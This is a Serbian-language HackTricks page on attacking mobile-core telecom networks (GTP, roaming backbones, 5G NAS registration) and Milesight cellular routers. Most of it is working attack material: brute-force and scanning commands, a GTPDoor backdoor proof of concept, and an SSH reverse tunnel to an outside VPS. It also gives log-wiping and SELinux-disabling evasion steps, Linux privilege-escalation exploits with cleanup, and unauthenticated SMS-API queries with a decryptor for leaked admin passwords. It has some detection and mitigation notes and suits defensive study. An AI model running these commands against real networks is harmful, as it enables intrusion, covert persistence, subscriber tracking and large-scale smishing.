Eksploatacija telekom mreža (GTP / roaming okruženja)

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) često prolaze kroz delimično poverljive GRX/IPX roaming backbones. Pošto se prenose preko plain UDP sa skoro nikakvom autentikacijom, any foothold inside a telecom perimeter can usually reach core signalling planes directly. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.

1. Recon & Initial Access

1.1 Podrazumevani OSS / NE nalozi

Iznenađujuće veliki broj mrežnih elemenata proizvođača dolazi sa hard-coded SSH/Telnet korisnicima kao što su root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Poseban wordlist dramatično povećava uspeh brute-force napada:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).

1.2 Otkrivanje hostova unutar GRX/IPX

Većina GRX operatora i dalje dozvoljava ICMP echo preko backbone mreže. Kombinujte masscan sa ugrađenim gtpv1 UDP sondama kako biste brzo mapirali GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Nabrajanje pretplatnika – cordscan

Sledeći Go alat kreira GTP-C Create PDP Context Request pakete i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji služi upitani IMSI i, ponekad, posećeni PLMN pretplatnika.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ključne opcije:

  • --imsi Ciljani IMSI pretplatnika
  • --oper Home mreža / HNI (MCC+MNC)
  • -w Zapiši sirove pakete u pcap

Važne konstante u binarnom fajlu mogu se izmeniti da bi se proširio opseg skeniranja:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Izvršavanje koda preko GTP – GTPDoor

GTPDoor je mala ELF usluga koja vezuje UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava putem /bin/sh -c. Stdout/stderr se eksfiltriraju unutar Echo Response poruka tako da nikakva izlazna sesija nikada nije kreirana.

Minimalni PoC paket (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detekcija:

  • bilo koji host koji šalje neizbalansirane Echo Requests ka SGSN IP-ovima
  • GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije

4. Pivoting kroz jezgro

4.1 sgsnemu + SOCKS5

OsmoGGSN isporučuje SGSN emulator sposoban da uspostavi PDP kontekst prema pravom GGSN/PGW. Kada se pregovori, Linux dobija novi tun0 interfejs dostupan sa roaming peera.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLANs i dovodi vas direktno u data plane.

4.2 SSH Reverse Tunnel preko Port 53

DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite interni SSH servis na vašem VPS-u koji sluša na :53 i povežite se kasnije iz kuće:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Proverite da li je GatewayPorts yes omogućen na VPS-u.

5. Skriveni kanali

ChannelTransportDecodingNotes
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)čisti pasivni osluškivač, bez odlaznog saobraćaja
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsprati *.nodep poddomen
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmeša se sa legitimnim GTP-C saobraćajem

Svi implantati implementiraju watchdog-e koji timestomp njihove binarne datoteke i ponovo ih pokreću ako se sruše.

6. Kratki vodič za izbegavanje detekcije

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation na nasleđenim NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Savet za čišćenje:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Alatke

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : TCP skeniranja intraneta (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS lažni WPAD
  • Microsocks + ProxyChains : lagani SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / povezivanje resursa

9. Napadi na 5G NAS registraciju: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) preko NGAP. Dok NAS security nije aktiviran preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti šifrovane. Ovo pre-security prozor omogućava više napadnih puteva kada možete posmatrati ili menjati N2 saobraćaj (npr. on-path unutar core-a, rogue gNB, ili testbed).

Registration flow (simplified):

  • Registration Request: UE šalje SUCI (šifrovani SUPI) i mogućnosti.
  • Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
  • Security Mode Command/Complete: dogovaraju se i aktiviraju NAS integritet i šifrovanje.
  • PDU Session Establishment: podešavanje IP/QoS.

Saveti za laboratorijsko okruženje (bez RF):

  • Core: podrazumevana Open5GS deployment je dovoljna za reprodukciju tokova.
  • UE: simulator ili test UE; dekodirajte koristeći Wireshark.
  • Aktivni alati: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Korisni display filteri u Wireshark-u:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privatnost identifikatora: SUCI greške koje otkrivaju SUPI/IMSI

Očekivano: UE/USIM mora slati SUCI (SUPI šifrovan javnim ključem home network-a). Pronalaženje čistog teksta SUPI/IMSI u Registration Request ukazuje na propust u privatnosti koji omogućava trajno praćenje pretplatnika.

Kako testirati:

  • Uhvatite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
  • Brze provere u Wireshark-u:
  • Trebalo bi da dekodira kao SUCI, ne IMSI.
  • Primer filtera: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci treba postojati; odsustvo uz prisustvo imsi ukazuje na leakage.

Šta prikupiti:

  • MCC/MNC/MSIN ako su izloženi; zabeležite po-UE i pratite kroz vreme i lokacije.

Ublažavanje:

  • Primena SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.

9.2 Smanjivanje capability-a ka null algoritmima (EEA0/EIA0)

Pozadina:

  • UE oglašava podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
  • Uobičajena mapiranja: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.

Problem:

  • Pošto Registration Request nije zaštićen integritetom, on-path napadač može izbrisati bitove capability-a da bi prislilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.

Koraci napada:

  • Interceptujte InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
  • Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja.
  • Posmatrajte da li AMF prihvata null šifre/integritet i kompletira Security Mode sa EEA0/EIA0.

Verifikacija/vidljivost:

  • U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
  • Primer izlaza pasivnog sniffera:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigacije (obavezno):

  • Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi).
  • Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podižite alarm za svaki NAS security context koji pregovara null algoritme.

9.3 Replay inicijalnog Registration Request (pre-security NAS)

Pošto inicijalni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayovan prema AMF-u.

PoC pravilo za 5GReplay za prosleđivanje podudaraćih replays-a:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Šta posmatrati:

  • Da li AMF prihvata replay i nastavlja sa autentifikacijom; nedostatak provere svežine/konteksta ukazuje na izloženost.

Mitigacije:

  • Implementirati zaštitu od replay napada/vezivanje konteksta na AMF; rate-limit i korrelisati po GNB/UE.

9.4 Smernice za alate (reproducibilno)

  • Open5GS: pokrenuti AMF/SMF/UPF da emulira core; posmatrati N2 (NGAP) i NAS.
  • Wireshark: verifikovati dekodiranja NGAP/NAS; primeniti filtere iznad da se izdvoji Registration.
  • 5GReplay: snimiti registration, zatim replay-ovati specifične NGAP + NAS poruke prema pravilu.
  • Sni5Gect: u realnom vremenu sniff/modify/inject NAS control-plane kako bi se iznudili null algoritmi ili poremetile autentifikacione sekvence.

9.5 Kontrolna lista za odbranu

  • Kontinuirano proveravati Registration Request na plaintext SUPI/IMSI; blokirati uređaje/USIMs koji krše pravila.
  • Odbaciti EEA0/EIA0 osim u strogo ograničenim procedurama za vanredne situacije; zahtevati bar EEA2/EIA2.
  • Detektovati rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
  • Podizati alert za NAS security modes koji rezultuju null algoritmima ili učestalim replay-ima InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Zloupotreba izloženih web API-ja industrijskih ćelijskih rutera omogućava prikriveni, carrier-origin smishing u velikoj meri. Milesight UR-serija rutera izlaže JSON-RPC–style endpoint na /cgi. Kada je pogrešno konfigurisano, API se može upitavati bez autentifikacije da bi se listao SMS inbox/outbox i, u nekim deploy-ovima, da se šalju SMS-ovi.

Tipični neautentifikovani zahtevi (ista struktura za inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Odgovori sadrže polja kao što su timestamp, content, phone_number (E.164) i status (success ili failed). Ponavljana slanja označena sa failed na isti broj često su napadačeve „provere sposobnosti“ da potvrde da ruter/SIM može dostaviti poruke pre masovnog slanja.

Primer curl komande za eksfiltraciju meta-podataka SMS-a:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Beleške o auth artefaktima:

  • Deo saobraćaja može sadržati auth cookie, ali veliki deo izloženih uređaja odgovara bez bilo kakve authentication na query_inbox/query_outbox kada je management interface izložen Internetu.
  • U okruženjima koja zahtevaju auth, previously-leaked credentials (vidi dole) obnavljaju pristup.

Credential recovery path – CVE-2023-43261:

  • Pogođene porodice: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problem: logovi dostupni preko weba (npr. httpd.log) su dostupni bez autentifikacije pod /lang/log/ i sadrže događaje prijave administratora sa lozinkom enkriptovanom korišćenjem hardkodovanog AES ključa/IV prisutnog u JavaScript kodu na strani klijenta.
  • Praktičan pristup i dešifrovanje:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimalni Python za dešifrovanje leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ideje za hunting i detekciju (mreža):

  • Alarmiraj na neautentifikovan POST /cgi čije JSON telo sadrži base/function postavljeno na query_inbox ili query_outbox.
  • Prati ponovljene POST /cgi nalete praćene unosima status":"failed" preko mnogih jedinstvenih brojeva sa iste source IP adrese (testiranje sposobnosti).
  • Inventarizujte Internet-izložene Milesight rutere; ograničite upravljanje na VPN; onemogućite SMS funkcije osim ako nisu potrebne; nadogradite na ≥ v35.3.0.7; rotirajte kredencijale i pregledajte SMS logove za nepoznata slanja.

Shodan/OSINT pivots (primeri viđeni u divljini):

  • http.html:"rt_title" odgovara Milesight router panelima.
  • Google dorking za izložene logove: "/lang/log/system" ext:log.

Operativni uticaj: korišćenje legitimnih carrier SIMs unutar rutera daje veoma visoku SMS isporučivost i kredibilitet za phishing, dok inbox/outbox exposure leaks osetljive metapodatke u velikom obimu.


Ideje za detekciju

  1. Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests.
  2. Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes sa internih IP adresa.
  3. Česti Echo Requests bez odgovarajućih Echo Responses – može ukazivati na GTPDoor beacone.
  4. Visok nivo ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima.
  5. 5G: InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a (replay signal).
  6. 5G: NAS Security Mode koji pregovara EEA0/EIA0 izvan konteksta hitnih situacija.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks